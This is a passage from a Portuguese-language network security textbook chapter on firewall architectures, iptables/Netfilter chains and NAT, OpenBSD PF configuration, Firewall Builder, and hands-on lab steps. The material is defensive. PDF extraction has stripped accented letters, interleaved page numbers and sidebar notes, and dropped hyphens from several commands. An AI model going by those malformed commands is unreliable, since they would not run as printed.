Os servios so providos atravs de uma mquina da rede interna, chamada de bastion
host (ou bastio). O bastio a nica mquina com acesso internet, garantido atravs
da configurao de filtros de pacotes no roteador. Dessa forma, as outras estaes no
possuem acesso direto, devendo utilizar os servios disponveis no bastion (proxies).
Exemplos de configurao dos filtros de pacotes:
11 Permitir que o bastio acesse a internet, utilizando os servios permitidos pela poltica
de segurana da organizao.
11 Permitir que as estaes da rede interna acessem o bastio, utilizando os servios permitidos. Lembre-se de que o bastio necessita de um endereo IP vlido para acessar a
internet ou que o roteador realize NAT para permitir esse acesso. Dessa forma, apesar de
estarem na mesma rede fsica, as estaes necessitam acessar o roteador para alcanar
o bastio, visto que ele se encontra em outra rede lgica.
11 Negar conexes das estaes da rede interna para a internet.

Internet

Roteador
de ltragem

Estao

Bastion Host

Estao

Figura 3.2
Topologia
dual-homed.

Estao

Note que o firewall corresponde nesse caso ao conjunto composto pelo bastion host e o
screening router.

Screened Subnet
Essa arquitetura adiciona uma camada extra de segurana em relao anterior, atravs

de uma rede extra chamada de permetro ou Zona Desmilitarizada (DMZ). Essa rede cria

DMZ

um isolamento entre a rede interna e a internet. A vantagem principal que os bastion

DeMilitarized Zone
a parte da rede
onde o nvel de
segurana um
pouco menor e
onde se concentram
os servios pblicos.

hosts ficam em uma rede isolada, de forma que defesas extras podem ser aplicadas para
impedir que um bastion host comprometido tenha acesso rede interna, aplicando o
Segurana de Redes e Sistemas

conceito de defesa em profundidade.

56

A rede DMZ fica protegida por dois roteadores, um externo ligado internet e um interno
ligado rede interna. Esses roteadores devem ser configurados corretamente para permitir apenas as conexes estritamente necessrias. Os bastion hosts continuam a ser o
contato com a rede pblica e possuem servios para a rede interna, como proxies e servios
pblicos como correio eletrnico e pginas www pblicas.

Internet

Roteador

Bastion

externo

DMZ

Roteador
interno
Figura 3.3
Rede DMZ
protegida por dois
roteadores.

Rede interna

Variaes
Algumas variaes podem ser feitas em relao s topologias apresentadas. A seguir
algumas variaes comuns:
11 Mltiplos bastion hosts: caso diversos servios estejam sendo oferecidos ou haja uma
razo para ter servios divididos em diferentes servidores (redundncia), pode-se colocar
mais de uma mquina na rede DMZ. Lembre-se de configurar as regras de filtragem de
acordo com os roteadores.
11 Juno dos roteadores internos e externos: essa uma variao muito comum, visto
que a juno dos roteadores reduz custos. Lembre-se de que nesse caso o comprometimento do roteador compromete a arquitetura inteira.
11 Juno do bastion host com o roteador externo: no muito comum, pois normalmente a conexo internet requer um hardware especfico por conta dos requisitos
das operadoras de telecomunicao (seriais sncronas, fibras pticas etc.), mas pode ser
adotado sem problemas. No recomendada a juno com o roteador interno, uma vez
que, caso o bastio seja comprometido, a rede interna estar exposta.
11 Mltiplos permetros: outra variao comum, comum ao se referir a uma DMZ ou a uma
11 Firewalls internos: usados para separar redes com maior requisito de segurana ou
conexes que necessitem de um nvel de proteo maior.

Montando uma topologia complexa


importante que se tenha em mente que no existe soluo perfeita ou ideal quando se
fala em construir um firewall. Uma topologia de segurana de permetro depende muito
da rede em questo, suas subdivises, conexes com outras redes, nveis de segurana,
conexes internet e outras questes. A figura abaixo mostra um exemplo de topologia
mais complexa.

Captulo 3 - Firewall Conceitos e Implementao

extranet, rede usada para conectar outras redes externas.

57

Internet

Roteador

Bastion

externo

Extranet

DMZ

Roteador

Bastion

interno 1

Rede interna

Roteador

Rede segura

interno 2

Durante as atividades prticas ser exercitada a construo de topologias de firewall.

Figura 3.4
Exemplo de topologia complexa.

Exerccio de fixao 3 e
Topologias de firewall
Quais so as arquiteturas de firewall?

Exerccio de fixao 4 e
Screened Subnet
Explique o que DMZ. Sua organizao possui DMZ?

Implementao de firewalls
Existem diversas solues desenvolvidas sob o critrio de licena de software livre que
implementam o controle de acesso perimetral em redes TCP-IP. Solues mais comuns:
Netfilter (Iptables), para Linux; Ipfilter (IPF) e IP Firewall (IPFW), para FreeBSD; Packet Filter
(PF), para OpenBSD, e FreeBSD.
Ao final deste captulo o aluno ter um resumo das principais caractersticas de cada uma
das implementaes, realizando atividades prticas de implantao de controle perimetral.
Segurana de Redes e Sistemas

Assim estar apto a configurar ferramentas de filtragem de pacotes, proxy HTTP e NAT.

58

Netfilter (Iptables)
O Iptables um framework capaz de realizar filtros de pacotes, traduo de endereos

de rede e traduo de nmero de portas TCP e UDP, alm de outros tipos de manipulao de pacotes TCP/IP.
Ele foi desenvolvido para trabalhar integrado com o Linux kernel 2.4 e 2.6. Surgiu da reescrita e
evoluo dos cdigos do Ipfwadm para o Linux kernel 2.0 e do Ipchains para o Linux kernel 2.2.

Uma virtude do Netfilter suportar mdulos, permitindo implementaes das mais simples
s mais sofisticadas.
O objetivo deste curso no o de esgotar as caractersticas do Netfilter, mas sim orientar o aluno
no entendimento de um sistema de firewall, para um possvel aprofundamento futuro.
Principais caractersticas:

11 Stateless packet filtering (IPv4 e IPv6).


11 Stateful packet filtering (IPv4 e IPv6).
11 Traduo de endereo e portas (IPv4).
11 Desenvolvido para ser flexvel e extensvel.
API
Conjunto de rotinas e
padres estabelecidos
por um software para
a utilizao de suas
funcionalidades por
programas aplicativos
que no precisam
envolver-se nos detalhes da implementao
do software.

11 API de vrias camadas para implementao de complementos de terceiros.


11 Grande nmero de softwares adicionais (plugins) e mdulos mantidos no repositrio
do Netfilter.
Antes de entrar nos comandos de configurao do Iptables, importante conhecer alguns
conceitos importantes envolvidos, apresentados a seguir:
11 Stateless uma tcnica de controle simples baseada apenas na verificao de cabealhos dos pacotes TCP/IP, no observando o estado da conexo (Three Way Handshake).
Atualmente, o Iptables suporta verificao de pacotes TCP/IP verses 4 e 6.
11 Statefull uma tcnica de controle de pacotes TCP/IP baseada no estado da conexo,
mantendo tabelas com o estado das conexes e criando regras automticas, quando
necessrio, para a volta dos pacotes. Tambm suporta atualmente controle de pacotes
IPv4 e IPv6. Corresponde ao stateful inspection.
11 Traduo de endereos IP e portas TCP ou UDP so tcnicas implementadas pelo
Netfilter que visam atender RFC 1918. O Netfilter denomina de NAT a traduo de
endereo IP e de NAPT a traduo de portas TCP e UDP, sendo at o momento suportado
apenas no protocolo IPv4.

Implementao do Netfilter
A sintaxe do Netfilter pode parecer confusa no incio. O objetivo da linguagem permitir
implementaes robustas. O Netfilter permite a manipulao desde as regras mais simples
at as mais complexas, onde possvel reduzir o volume do arquivo de configurao e faci-

Para compreender a sintaxe do Netfilter, precisamos inicialmente conhecer o significado dos


termos e expresses de manipulao de pacotes:
11 Drop/Deny: quando um pacote sofre Drop ou Deny, descartado e nenhuma outra ao
realizada; o pacote simplesmente desaparece.
11 Reject: quando um pacote sofre a ao Reject, descartado e uma mensagem enviada
para o host origem informando seu descarte.
Kernel
Componente central do
sistema operacional responsvel por fornecer
os recursos computacionais disponibilizados
pelo hardware aos
aplicativos.

11 Accept: ao contrria ao Drop ou Reject, indica ao Iptables para aceitar e encaminhar o


pacote.
11 State: estado especfico de um pacote em uma conexo TCP/IP. Por exemplo: o primeiro
pacote de uma conexo TCP o pacote com a opo SYN ligada. O estado da conexo
conhecido atravs do sistema de rastreamento de conexes, que mantm uma base de
dados com o estado de todas as conexes. Essa base fica em uma rea dentro do kernel

Captulo 3 - Firewall Conceitos e Implementao

litar o entendimento dos objetivos do(s) filtro(s).

do Linux, sendo controlada automaticamente por ele.


59

11 Chain: cadeia de conjuntos de regras que so aplicadas em momentos distintos no kernel


do Linux. As trs principais chains so INPUT, OUTPUT e FORWARD:
22 INPUT: utilizada quando os pacotes tm como endereo IP de destino o prprio
endereo do firewall.
22 OUTPUT: utilizada quando o pacote originado pelo firewall e sai por alguma
interface de rede.
22 FORWARD: utilizada quando um pacote atravessa o firewall, no tendo como destino o
prprio firewall. Daqui podemos verificar que as chains INPUT e OUTPUT protegem o
prprio firewall, e a chain FORWARD protege o que estiver atrs dele.
11 Table: o Iptables possui quatro tabelas, cada uma com propsitos especficos:
22 Nat: utilizada para manipulao de traduo de endereos IP. Os pacotes podem ter os
endereos de origem, destino, porta de origem e de destino alterados de acordo com
o especificado na regra. Para a traduo de pacotes necessrio especificar apenas
a traduo do pacote inicial da conexo, de modo que todos os pacotes seguintes
pertencentes essa conexo sero automaticamente traduzidos.
22 Mangle: utilizada principalmente para manipulao de pacotes IP. possvel manipular
o contedo de diferentes pacotes e seus cabealhos, como os campos QoS e TTL,
entre outros.
22 Filter: utilizada exclusivamente para filtros de pacotes, de forma a realizar DROP, LOG,
ACCEPT e REJECT de pacotes TCP/IP, conforme foi visto.
22 Raw: utilizada quando desejamos filtrar um pacote, mas no queremos monitorar o
estado da conexo. Dessa forma, estamos fazendo um filtro de pacotes simples.
11 Match: termo utilizado quando um pacote encaixa em uma determinada regra; dizemos
que o pacote deu match em uma determinada regra do Iptables.
11 Target: termo utilizado para informar o que ser feito com os pacotes que derem match
em determinada regra; o target pode ser Accept, Drop, Reject etc.
11 Rule: uma regra definida como um match ou conjunto de matches de pacotes com um
nico target.
11 Ruleset: conjunto de regras (rules) de todo o firewall, normalmente agrupado em um
arquivo de configurao, para inicializao do Iptables.
11 Jump: instruo ligada ao target. Se um pacote der match em uma instruo de jump,
ser analisado por um conjunto de regras extras, definidas no prprio jump. A sintaxe
similar de target (jump em vez de target).
11 Connection tracking: caracterstica do firewall de analisar o estado da conexo e manter
em uma base de dados interna. Assim, o firewall capaz de saber a qual conexo pertence um pacote, aumentando de forma drstica a segurana do sistema de firewall, j
Segurana de Redes e Sistemas

que pacotes que no fazem parte de conexes legtimas so automaticamente des-

60

cartados. Essa caracterstica tem um custo computacional elevado para o firewall, o


que tambm ocorre com o Iptables, gerando a necessidade de mais recursos de CPU e
memria do sistema.
11 Policy: poltica padro de funcionamento do firewall (default permit e default deny). Em se
tratando de Iptables, podemos definir a policy como ACCEPT ou DROP, de acordo com a
ao padro que ser dada a um pacote que no der match em nenhuma regra especfica.

Modo de operao do Netfilter


O Netfilter interage com o kernel do Linux baseado na deciso de encaminhamento de

pacotes. O modo de funcionamento resumido na prxima figura.

Kernel
Entrada
roteamento

Figura 3.5
Processo de deciso
do Netfilter.

Input

Forward

Processo local

Sada

Output

Captulo 3 - Firewall Conceitos e Implementao

Tipo de

61

A representao completa do funcionamento do Iptables apresentada na Figura 3.6.

Network

raw
PREROUTING

mangle
INPUT

mangle
mangle
PREROUTING
INPUT

lter
mangle
INPUT
INPUT

nat
PREROUTING

Segurana de Redes e Sistemas

Local
Process

Routing
Decision

mangle
mangle
FORWARD
INPUT

raw
OUTPUT

lter
FORWARD

mangle
OUTPUT

Routing
Decision

nat
OUTPUT

mangle
mangle
INPUT
POSTROUTING

lter
mangle
OUTPUT
INPUT

nat
POSTROUTING
Figura 3.6
Detalhamento
do processo de
encaminhamento
do Iptables. Fonte:
Frozentux.

Network

Chains do Netfilter:
11 PREROUTING
11 INPUT
11 FORWARD

62

Routing
Decision

11 OUTPUT

11 POSTROUTING
Tabela Nat
Consultada quando o pacote responsvel pela criao da nova conexo encontrado.
Utilizada para roteamento de pacotes entre redes diferentes.
Tabela Mangle
Realiza alteraes especiais de maneira a auxiliar a filtragem de pacotes. Utiliza nos
cabealhos dos pacotes o TOS (Type of Service) que especifica o tipo de servio ao qual
o pacote se destina.
Tabela Raw
Utilizada principalmente para configurar excees no mdulo ip_contrack do kernel.
Primeira dentre as tabelas no ncleo do netfilter, facilita a excluso de pacotes antes de
serem processados na memria.
As chains do Netfilter so definidas de acordo com o momento do processamento do pacote
pelo kernel do Linux, podendo ser:
11 PREROUTING: nessa chain o pacote tratado no momento em que chega mquina,
antes de alcanar a fase de roteamento do kernel; nesse momento, podemos tratar
apenas os pacotes das tabelas Raw, Mangle e Nat.
11 INPUT: nessa chain so tratados os pacotes destinados ao firewall no momento anterior
entrega ao sistema responsvel pelo processamento desses pacotes. Nessa chain podem
ser analisados os pacotes das tabelas Mangle e Filter.
11 FORWARD: nessa chain so tratados os pacotes que no so destinados ao firewall e
sero encaminhados a outro host na rede. Nessa chain podem ser analisados os pacotes
das tabelas Mangle e Filter.
11 OUTPUT: nessa chain so tratados os pacotes gerados por processos do prprio host, que
sero enviados rede. Nessa chain podem ser analisados os pacotes das quatro tabelas.
11 POSTROUTING: nessa chain so analisados pacotes que esto saindo do firewall e no
sofrero nenhum outro tipo de processamento pelo host. Nessa chain so permitidas
manipulaes apenas de pacotes das tabelas Mangle e Nat.

Explique o funcionamento do Netfilter, usando como base o Iptables.

Controle perimetral
11 Controle de acesso ao firewall.

11 Controle de acesso atravs do firewall.


As chains INPUT e OUTPUT do Netfilter sero manipuladas para controlar o acesso ao
firewall, como as conexes que sero permitidas ao firewall. A chain FORWARD ser utilizada
para controlar os pacotes que sero permitidos atravs do firewall. Dessa forma, as pri-

Captulo 3 - Firewall Conceitos e Implementao

Exerccio de fixao 5 e
Netfilter

meiras protegem o firewall em si e a ltima protege as redes atrs dele.


63

Segue um exemplo de configurao de Dual-Homed firewall utilizando Iptables, com o


objetivo de gerar logs dos pacotes ICMP destinados ao firewall (que so encaminhados pelo
firewall) e dos que so gerados pelo firewall; a barra invertida \ indica que a regra continua
na prxima linha:

iptables P INPUT ACCEPT # Define a regra padro permitir


iptables P OUTPUT ACCEPT

# todos pacotes que chegarem

iptables P FORWARD ACCEPT

# ao firewall

iptables -t filter -A INPUT -p icmp --icmp-type echo-request \


-j LOG --log-prefix=filter INPUT:
iptables -t filter -A INPUT -p icmp --icmp-type echo-reply \
-j LOG --log-prefix=filter INPUT:
iptables -t filter -A OUTPUT -p icmp --icmp-type echo-request \
-j LOG --log-prefix=filter OUTPUT:
iptables -t filter -A OUTPUT -p icmp --icmp-type echo-reply \
-j LOG --log-prefix=filter OUTPUT:
iptables -t filter -A FORWARD -p icmp --icmp-type echo-request \
-j LOG --log-prefix=filter FORWARD:
iptables -t filter -A FORWARD -p icmp --icmp-type echo-reply \
-j LOG --log-prefix=filter FORWARD:
Os comandos so parmetros passados para o Iptables durante a configurao das regras.
Principais parmetros do Iptables:
-P: utilizado para definir a poltica padro. Exemplo:

Iptables P FORWARD DROP


Esse comando especifica que a ao padro do firewall para FORWARD (passagem) de
pacotes ser DROP (descarte os pacotes).
-t: especifica a tabela usada pelo Iptables; se no especificada, o padro filter (no exemplo
acima no havia a necessidade do parmetro t filter). Exemplo:

iptables t nat L

Segurana de Redes e Sistemas

-L: lista as regras definidas para o Iptables. Exemplo:

64

iptables L
-F: (Flush) apaga todas as regras aplicadas em uma tabela. Exemplo:

iptables t nat F
-A: (Append) adiciona uma regra no final de uma tabela. Exemplo:

iptables A INPUT i eth0 j DROP

-j: ( Jump) indica a ao ou o target da regra. Exemplo:

iptables A INPUT i eth0 j ACCEPT


O conjunto de comandos apresentados consiste em apenas um subconjunto dos comandos
existentes na ferramenta. O conjunto completo de comandos pode ser visto na man page do
Iptables, acessvel atravs do comando:

man iptables
Durante as atividades prticas, alguns comandos do Iptables sero exercitados.

Traduo de IP (NAT)
O Iptables tem uma tabela especial para manipulao de traduo de endereo IP nos
pacotes TCP/IP. Essa tabela ser utilizada para a realizao de controle de NAT das conexes,
sendo elas: SNAT, DNAT, NAT Esttico e NAT Dinmico, conforme apresentado no captulo 2.
Alguns exemplos de configurao de NAT sero vistos a seguir.

SNAT
Esse NAT foi concebido para modificar o endereo IP de origem em uma conexo TCP/
IP, como, por exemplo, alterar o endereo IP de origem de uma conexo TCP/IP de uma
mquina da rede interna (com endereo IP reservado que no pode ser roteado pela
internet) para um endereo pblico de rede IP:

# POSTROUTING statements for 1:1 NAT


# (Conexes da rede Interna para a rede de servidores)

iptables -t nat -A POSTROUTING -s 192.168.1.100 -o eth0 \


-j SNAT --to-source 200.200.200.1

# POSTROUTING NAT de Um-para-Muitos

iptables -t nat -A POSTROUTING -s 192.168.1.0/24 o eth0 \


-j SNAT --to-source 200.200.200.2
Nos exemplos acima foram usados parmetros para identificao da origem do pacote, que
podem ser usados em qualquer regra, no somente em regras de NAT. So eles:
11 -s: define a origem do pacote, que pode ser um nico endereo IP ou uma rede, como nos
exemplos acima.
11 -o: define a interface de sada do pacote. Nos exemplos acima, para serem sujeitos s
regras, os pacotes devem sair pela interface eth0.
Para identificao do destino, podemos usar o parmetro d de forma anloga, assim como
o parmetro i para indicar a interface de entrada.

Captulo 3 - Firewall Conceitos e Implementao

# (Conexes originadas na rede Internet)

65

DNAT
Esse NAT, justamente como sugere o nome, foi concebido para realizar a troca do endereo
IP de destino de uma conexo TCP/IP. No exemplo a seguir, temos um servidor em uma rede
com endereo privado, que no rotevel pela internet. Assim foi disponibilizado um endereo IP pblico que deve ser traduzido para o endereo IP privado ao passar pelo NAT.

# (Conexes da Internet acessando servidor Interno)


iptables -t nat -A PREROUTING --dst 200.200.200.10 p tcp \
--dport 80 -j DNAT --to-destination 172.16.21.2
Nesse exemplo, verificamos dois novos parmetros: p, que indica o protocolo em questo
(exemplos: TCP, UDP, ICMP) e dport, que indica a porta de destino. De forma anloga, sport
serve para indicar a porta de origem.

NAT Dinmico
Diferente dos casos anteriores, onde havia tradues de endereos IP de Um para Um, ou
que normalmente chamamos de estticos. H tambm a necessidade de traduo de vrios
endereos IP de uma rede para um nico endereo IP ou um pequeno grupo de endereos
IP. Nesse exemplo, temos uma rede local com endereos IP privados, que ao estabelecer
conexo com a internet precisa de endereo de origem vlido; para isso, todas as conexes
TCP/IP saem com o endereo IP vlido da interface externa do firewall.

# Conexes da Rede Interna para a INTERNET


iptables -t nat -A POSTROUTING s 192.168.1.0/24 o eth0 -j

BSD

MASQUERADE

Packet Filter (PF)


11 Ativao

11 Controle
11 Configurao
22 Ao block ou pass
22 Direo
22 Log
22 Quick
22 Famlia de endereo IP inet ou inet6

Segurana de Redes e Sistemas

22 Protocolo

66

22 Endereo de origem ou destino


22 Porta de origem ou destino
22 Sinalizadores TCP
O Packet Filter (PF) foi desenvolvido no OpenBSD e a opo padro de firewall para essa
verso do BSD (Berkeley Software Distribution). Foi portado para o FreeBSD a partir de julho
de 2003 e encontra-se disponvel nos Ports do FreeBSD.

Sistema operacional
Unix desenvolvido
pela Universidade de
Berkeley nos anos 70.
Hoje no um nico
sistema operacional,
mas uma extensa
famlia derivada do
original. Membros
mais conhecidos:
FreeBSD, OpenBSD,
NetBSD e Darwin
(base do Mac OS X).
Ports
Tambm conhecido por
Sistema de Ports ou
Coleo de Ports, um
sistema de organizao dos aplicativos
instalados no sistema
operacional FreeBSD.
Posteriormente foi
migrado para outras
plataformas, como
OpenBSD, NetBSD
e Mac OS X.

Para instalao do PF no FreeBSD necessrio compilar o kernel do FreeBSD com suporte


ao PF, habilitando os mdulos necessrios. Para o funcionamento do PF no FreeBSD
necessrio adicionar as seguintes linhas de comando no arquivo de configurao /etc/rc.conf,
conforme mostrado abaixo:

pf_enable=YES

# Habilita PF (se necessrio

inicia os mdulos)
pf_rules=/etc/pf.conf # arquivo de configuraes das regras do PF
pf_flags= # Parmetros
adicionais para iniciar o PF
pflog_enable=YES
pflog_logfile=/var/log/pflog

# Inicia pflogd(8)

# Onde sero armazenados os logs do PF

pflog_flags= # Parmetros
adicionais ao iniciar os logs

Ativao
Ocorre automaticamente editando o arquivo de configurao /etc/rc.conf conforme citado
ou manualmente com os seguintes comandos:

# pfctl e # Para habilitar (enable)


# pfctl d # Para desabilitar (disable)
Quando a ativao ocorrer manualmente, o PF no carregar automaticamente o conjunto
de regras do arquivo de configurao, o que ter de ser feito manualmente.

Controle
Aps iniciado o PF, pode ser utilizada a ferramenta pfctl para realizar as verificaes e controle do PF. Seguem os principais controles:

# pfctl -f /etc/pf.conf

Carrega o arquivo pf.conf

# pfctl -nf /etc/pf.conf Analisa o arquivo, mas no carrega-o


# pfctl -Nf /etc/pf.conf Carrega apenas as regras de NAT do arquivo

arquivo
# pfctl -sn

Mostra as regras atuais de NAT

# pfctl -sr

Mostra as regras atuais de filtragem

# pfctl -ss

Mostra a tabela de estados atual

# pfctl -si

Mostra as estatsticas e os contadores de

filtragem
# pfctl -sa

Retorna TUDO o que pode ser mostrado

Captulo 3 - Firewall Conceitos e Implementao

# pfctl -Rf /etc/pf.conf Carrega apenas as regras de filtragem do

67

Configurao
A sintaxe do PF pode ser resumida da seguinte forma:

ao [direo] [log] [quick] [on interface] [fam_de_end] [proto


protocolo] \
[from end_de_or [port porta_de_or]] [to end_de_dest [port porta_
de_dest]] \
[flags sinalizadores_tcp] [estado]
11 Ao: executada nos pacotes que corresponderem regra. Pode ser pass ou block.
11 Direo: sentido do fluxo do pacote na interface. Pode ser in (entrando) ou out (saindo).
11 Log: especifica que o pacote deve ser logado.
11 uick: significa que essa deve ser a ltima regra a ser analisada, no verificando
as regras seguintes.
11 Interface: nome da interface de rede que o pacote est passando, como fxp0 e en0.
11 Fam_de_end: protocolo que est sendo analisado; inet para IPv4 e inet6 para IPv6.
11 Protocolo: protocolo da camada de transporte que est sendo analisado, pode ser TCP,
UDP ou qualquer outro protocolo especificado no arquivo /etc/protocols.
11 End_de_or, end_de_dest: endereos de origem e/ou destino especificado no cabealho
dos pacotes IP. Pode ser especificado endereo de host, blocos CIDR com uso da barra,
por exemplo: 192.168.1.0/24.
11 Porta_de_or, porta_de_dest: especifica o nmero da porta do cabealho da camada de
transporte. Pode ser representado por nmero de 1 a 65535, um nome de servio vlido
no arquivo /etc/services, um grupo de portas usando uma lista, ou ainda um range utilizando os seguintes smbolos:
22 != (diferente de)
22 < (menor que)
22 > (maior que)
22 <= (menor ou igual a)
22 >= (maior ou igual a)
22 >< (uma faixa)
11 Sinalizadores TCP: especificam as flags do cabealho TCP para serem analisadas, como
por exemplo AS, que verifica se as flags SYN e ACK esto ligadas.
Uma regra pode ser criada, por exemplo, para permitir acesso ao servio SSH, tendo como
Segurana de Redes e Sistemas

origem da conexo o endereo IP de um segmento de rede:

68

pass in quick on fxp0 proto tcp from 192.168.1.4/30 to 192.168.1.1


port ssh
block in quick on fxp0 proto tcp from any to any port ssh
pass in all

Firewall Builder

11 Interface grfica.
11 Padronizao da configurao.
11 Minimizao de erros.
O uso de ferramenta grfica para gerenciamento de firewalls fortemente recomendado,
sobretudo quando os firewalls se tornam muito complexos. O uso de ferramentas grficas

reduz o tempo de configurao e diminui de forma drstica a possibilidade de erro na codificao da regra desejada.
O Firewall Builder um projeto disponvel em dois tipos de licena, software livre para Linux
e FreeBS, e licena comercial para Windows e MAC OS. instalado na mquina do administrador do firewall, que envia a sintaxe para o firewall, que a escreve automaticamente para
o host do Iptables. uma ferramenta capaz de manipular regras do Packet Filter (PF do

Figura 3.7
Exemplo de
configurao
Netfilter.

A configurao grfica da figura 3.7 representa os seguintes comandos no Iptables:

# iptables F

# Limpa todas regras do

Iptables
# iptables P INPUT ACCEPT

# Define a regra padro

permitir
# iptables P OUTPUT ACCEPT

# todos pacotes que chegarem

# iptables P FORWARD ACCEPT

# ao firewall

Captulo 3 - Firewall Conceitos e Implementao

OpenBSD e FreeBSD) e outros roteadores e firewalls comerciais.

69

# iptables -A FORWARD -i eth1 -d 192.168.1.0/24 -j DROP # Bloqueia o


trfego com
# iptables -A INPUT -i eth1 -d 192.168.1.0/24 -j DROP # destino
rede 192.168.1.0
# os comandos abaixo liberam as portas destino 80/TCP, 53/TCP e 53/
UDP com origem
# na rede 192.168.1.0
# iptables -A FORWARD -i eth0 -s 192.168.1.0/24 -p tcp --dport 80 -j
ACCEPT
# iptables -A FORWARD -i eth0 -s 192.168.1.0/24 -p tcp --dport 53 -j
ACCEPT
# iptables -A FORWARD -i eth0 -s 192.168.1.0/24 -p udp --dport 53 -j
ACCEPT
# iptables -L -n
Chain INPUT (policy ACCEPT)
target

prot opt source

destination

DROP

all

192.168.1.0/24

--

0.0.0.0/0

Chain FORWARD (policy ACCEPT)


target

prot opt source

destination

DROP

all

--

0.0.0.0/0

192.168.1.0/24

ACCEPT

tcp

--

192.168.1.0/24

0.0.0.0/0

tcp

tcp

--

192.168.1.0/24

0.0.0.0/0

tcp

udp

--

192.168.1.0/24

0.0.0.0/0

udp

dpt:80
ACCEPT
dpt:53
ACCEPT
dpt:53

Chain OUTPUT (policy ACCEPT)

Segurana de Redes e Sistemas

target

70

prot opt source

destination

Roteiro de Atividades 3
Atividade 1 Filtros de pacotes
Na criao de regras em filtros de pacotes preciso traduzir os acessos que queremos
permitir ou bloquear, em regras baseadas em endereos IP, portas e flags. Utilizando a linguagem fictcia dos exemplos, crie regras para as seguintes situaes. Caso seja necessrio,
invente uma sintaxe para novos parmetros:
1. Permitir conexes TCP (ida e volta) para envio de correio eletrnico para um servidor

SMTP no endereo IP 192.168.5.1.


2. Bloquear conexes provenientes do endereo IP 192.168.4.5.
3. Permitir conexes UDP para o servidor DNS, endereo IP 192.168.10.5.
4. Permitir pacotes ICMP echo-request e echo-reply (ping).
5. Pesquise na internet informaes de portas e parmetros para auxlio na elaborao

das regras.

Atividade 2 Topologias de firewall


Durante a parte terica, vimos alguns modelos de topologias de firewall. Apesar de didticos, em situaes da vida real eles devem ser adaptados para cada tipo de rede que
encontramos. Com base nas topologias a seguir, procure criar um permetro, respeitando o
princpio do ponto nico e pensando no mnimo de exposio da rede internet.
1.

Internet

8 Mbps

20 Mbps

Intranet

Servidor de
banco de dados

Servidor
de e-mail

Servidor de
aplicaes web

R1

Servidor
mainframe

PC

PC

PC

PC

Captulo 3 - Roteiro de Atividades

R2

71

2.

Servidor
de e-mail

20 Mbps

Internet
Servidor de
aplicaes web

R1

R2

Servidor de
banco de dados

Servidor
mainframe

PC

PC

PC

PC

Atividade 3 Topologias de firewall


A partir desta atividade o roteiro est dividido em trs partes. Na primeira, o aluno programar
um controle de pacotes para permitir a comunicao entre os hosts descritos na topologia do
laboratrio. Na segunda parte, programar a traduo de pacotes. Na terceira e ltima parte,
o aluno vai gerenciar toda a configurao feita com uma interface de gerncia grfica.

Figura 3.8
Topologia do
laboratrio.

Internet

Topologia A

FWGW1

DHCP

Topologia B

FWGW1

DHCP

Segurana de Redes e Sistemas

DMZ 172.16.1.0/24

72

Servidor
Windows

DMZ 172.16.2.0/24

Servidor
Linux

Servidor
Linux
Rede local 10.1.1.0/24

Host Windows

Rede local 10.1.2.0/24

Host Windows

Servidor
Windows

O laboratrio ser dividido em dois grupos, definidos pelo instrutor. Cada aluno participar
apenas de um grupo: Topologia A ou Topologia B.
Observe que o endereo IP das redes diferente para cada grupo:
11 Rede Local: 10.1.G.0/24
11 Rede DMZ: 172.16.G.0/24
Onde:
11 G =1 Grupo Topologia A
11 G=2 Grupo Topologia B
A figura 3.9 mostra uma listagem com a descrio dos servios disponibilizados pelos
servidores da DMZ.
Servio

Protocolo

Porta

Descrio

Win2008

IIS

TCP

80

Servidor de aplicao web

Win2008

IIS

TCP

443

Servidor de aplicao web

Win2008

FTP

TCP

21

Servidor de arquivos FTP

Win2008

RDP

TCP

3389

Servidor de conexo remota

Win2008

NTP

UDP

123

Servidor de hora

LinServer

Apache

TCP

80

Servidor de pginas HTML

LinServer

Bind

UDP

53

Servidor de resoluo de nomes

LinServer

Postgres

TCP

5432

Servidor de banco de dados

LinServer

Postfix

TCP

25

Servidor de mensagens

LinServer

Postfix

TCP

110

Servidor POP3

LinServer

SSH

TCP

22

Servidor de comandos remotos

LinServer

NTP

UDP

123

Servidor de hora

Atividade 4 Filtro de pacotes


Nesta atividade, iremos configurar o controle de pacotes TCP/IP no host FWGW1, fazendo-o
atuar como filtro de pacotes da rede. Tomaremos como padro a topologia da Figura 3.8 e
os servios DMZ da Figura 3.9. A realizao desta atividade fundamental para a realizao
das demais atividades deste curso.
A poltica de filtros de pacotes ser a mais restritiva possvel, permitindo somente as
conexes previamente definidas no filtro de pacotes. Dessa forma, a regra padro negar
todos os pacotes que chegarem, sarem e/ou atravessarem o firewall. A poltica de filtros
de pacotes ser a mais restritiva possvel, de modo que somente as conexes previamente
definidas devero ser permitidas em nosso filtro de pacotes.

Captulo 3 - Roteiro de Atividades

Figura 3.9
Servios DMZ.

Servidor

73

A cada item a seguir, ser preciso verificar a configurao com o auxlio dos seguintes comandos:

# iptables L (Lista a configurao corrente de filtro de pacotes)


# iptables t nat L (Lista a configurao corrente de NAT)
# iptables F (Apaga todas as regras existentes)
# iptables t nat F (Apaga todas as regras de NAT)
# apt-get install tcpdump
# tcpdump (Vai auxiliar na verificao de pacotes chegando ao
firewall)

Acesso ao firewall
Configure no firewall acesso de gerncia SSH e ICMP, somente para pacotes originados da
estao de trabalho Windows XP, e teste o funcionamento das regras originando acessos dos
servidores Linux e Windows 2008 ao firewall.
Passo 1

No console do VirtualBox, acesse a mquina FWGW1. Entre com as credenciais


de usurio root.

Passo 2

Edite o arquivo de configurao /etc/sysctl.conf, para habilitar o roteamento de


pacotes do kernel do Linux; para isso retire o comentrio da linha:

net.ipv4.ip_forward=1
Para ativar essa nova configurao sem a necessidade de reiniciar o host
Linux, entre com o comando:

# sysctl p
Passo 3

Crie o arquivo de configurao /etc/iptables.up.rules com o editor de texto de


sua preferncia.
Adicione as regras abaixo para deixar a poltica padro do firewall o mais
restritiva possvel.

*filter
:INPUT DROP
:FORWARD DROP
:OUTPUT ACCEPT
COMMIT
Passo 4

Aplique as regras do arquivo de configurao ao firewall da mquina com o


seguinte comando:

# iptables-restore < /etc/iptables.up.rules

Segurana de Redes e Sistemas

Passo 5

74

Teste o funcionamento do firewall. Na mquina Windows XP realize o teste de


ping no firewall, com o comando:

c:\> ping 10.1.G.1

w
Para mais informaes
sobre a configurao
do Netfilter no Debian,
visite: http://wiki.
debian.org/iptables.

Passo 6

Edite novamente o arquivo de configurao do firewall e adicione as regras


que permitam o gerenciamento e o troubleshooting do firewall, permitindo
acesso SSH e ping originados da mquina Windows XP:

# Permite todo trfego loopback


-A INPUT -i lo -j ACCEPT
-A INPUT -i ! lo -d 127.0.0.0/8 -j REJECT

# permite manuteno do estado de conexes


